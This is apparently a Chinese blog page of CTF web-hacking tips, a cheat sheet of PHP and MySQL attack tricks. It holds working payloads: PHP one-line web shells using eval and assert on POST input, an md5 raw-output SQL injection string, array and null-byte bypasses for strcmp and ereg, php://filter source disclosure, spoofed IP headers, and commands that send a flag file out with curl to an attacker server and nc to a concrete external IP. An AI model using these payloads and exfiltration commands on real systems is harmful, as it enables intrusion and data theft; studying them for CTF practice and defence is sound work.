ctf小技巧

压缩文件

http://www.blogsir.com.cn/safe/252.html

mysql
0与字符串比较

写代码的时候遇到一个问题,就是发现mysql进行比较的时候,数字0与任意字符串比较的结果为true

如 select * from user where name=0;
执行后会将表user中全部数据查询出来,对mysql进行操作的时候,需要确保类型一致。

php函数缺陷
1、ereg()

ereg()正则限制,存在null截断漏洞,可以用%00截断正则匹配,导致正则过滤被绕过;

2、strcmp()

strcmp()溢出漏洞,无法处理数组导致strcmp('str',array()) = strcmp('str','str') = 0;

3、md5()

md5()哈希,每个”0E"开头,且后边均为数字的的哈希值都解释为0,("0e21212121"=="0e5445d3445"),例如 240610708, QNKCD20, aabg7XSs等,当两个字符串哈希后都以”0E"开头,则判断相等;

md5("xxx",true)将返回128位二进制对应的字符串,因此遇到
类似$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";题目时,可以尝试字符串“ffifdyop”,其MD5值为276f722736c95d99e921722cf9ed621c,对应的字符串'or'6<trash>,拼接后sql变成SELECT * FROM admin WHERE pass = ''or'6<trash>'

4、 md5 sha1

sha1()和md5()无法处理数组类型,sha1(a[]) = = sha1(b[]) = = false;

5 ==
  • PHP弱类型,布尔值true可以跟任何字符串匹配相等(true = = "a");
  • '0xabcdef'=='11259375' //true
  • 当字符串开头不为0,那么字符串与数字匹配时被转为0("a" = = 0);
  • x=0.99999999999999999(小数点后至少有17位)即可满足x=='1' and x= ='0';
6、php弱类型

介绍http://www.cnblogs.com/Mrsm1th/p/6745532.html

7、preg_replace
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) 

当 pattern为'/xxxxx/e'时,将会把replacement作为php代码执行。

8、intval()

intval函数用于将输入的变量转换为整形,对于32位系统来说,int的范围为-2147483648~2147483647,当输入的数大于2147483647时,转换结果为2147483647,即

intval(2147483647+x)=2147483647
x>0

http://www.bertramc.cn/2017/03/25/20.html

测试代码

<?php 
$array=array(0,1);
var_dump(array_search('JILAO', $array)); 
var_dump(array_search('1bert', $array)); 
?>

打印

int(0)
int(1)

不严格模式下在匹配过程中'JILAO'变成了0,而1bert变成了1

10 ereg

http://blog.csdn.net/lymingha0/article/details/44079981

关于ereg()函数的一个漏洞——%00截断,可以构造一个这样的提交:?password=a%00--,ereg()匹配到%00就截止了,所以会认为提交串合法,但strpos()不受此影响,成功绕过。

此外还有一个非常微妙的方法。把password构造为数组,如:?password[]=a,由于ereg()也是只能处理字符串的,遇到数组做参数返回NULL

11 strcmp

http://blog.csdn.net/zhaohansk/article/details/43984569

<?php
# $a='Hello world!';
$password=$_GET['password'];
# $a=True;
# echo gettype($a);
if(strcmp('Firebroo',$password)){
    echo 'NO!';
}else{
    echo 'YES!';
}
# echo ord('a');
?>

这样一段代码,原本的意图是输入Firebroo才能获得权限,但是在5.3版本之后捏,You just need input an array ,like this(?password[]=1)

php一句话
<?php @eval($_POST['s']);?>
<?php @assert($_POST['s']);?>

system函数
system("whoami") 等价于 `whoami`

技巧

命令执行
POST : cmd=curl your-server-ip/xxx.php?a=1 -F file=@flag233.php
//如果命令执行没有回显,可以将文件上传到自己的服务器
or 
cmd=nc -u 67.209.186.78 5060 < flag233.php
<?php
/* 这会以base64字母输出 index 的全部内容 */
readfile("php://filter/read=convert.base64-encode/resource=index.php");

如果有sql注入,可以结合load_file(0x...)来加载文件
post提交参数可以绕过部分waf
构造文件上传的form可能可以绕过waf
表单的content-type

Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9EMA7YcByiXwSu5W

Content-Type: application/x-www-form-urlencoded

关键词 vim 一般表示有形如 .index.php.swp的临时文件

php默认部署路径
/var/www/html/


1、<?php   ?>
2、<?php  
3、<?   ?>
4、<%  %>
5、<script language="php"> </script>


<script language="phP">echo `$_REQUEST[v]`</script>
其中1,2为常用的写法,在PHP文件中个人建议采用第二种方式来标识;
3,4为短标识,当使用他们需要开启php.ini文件中的short_open_tag,不然会报错,请知晓!

php中定义变量  $a="flag";写成$a=flag; 仍然可以正确识别,但是会有Notice

php常见后缀  php、php3、php4、php5、phtml、pht 
00截断




rip-git.pl
.git 获取代码文件


各种姿势
利用 inurl:index.php?case=archive&act=show&aid 在网上找,发现是 cmseasy,然后查cmseasy 的漏洞
echo system("cd ../ ; ls ;grep 'flag' flag.ph"."p")
require_once("$GET_[id]")
?id=php://filter/convert.base64-encode/resource=../flag.php



CMS
 phpstorm 软件会产生./idea 文件夹
.idea/workspace.xml

绕过

绕过逗号过滤:

http://wonderkun.cc/index.html/?p=442

绕过ip限制:

X-Forwarded-For: client, proxy1, proxy2
Client-IP: client
comments powered by Disqus
京ICP备16019137号-1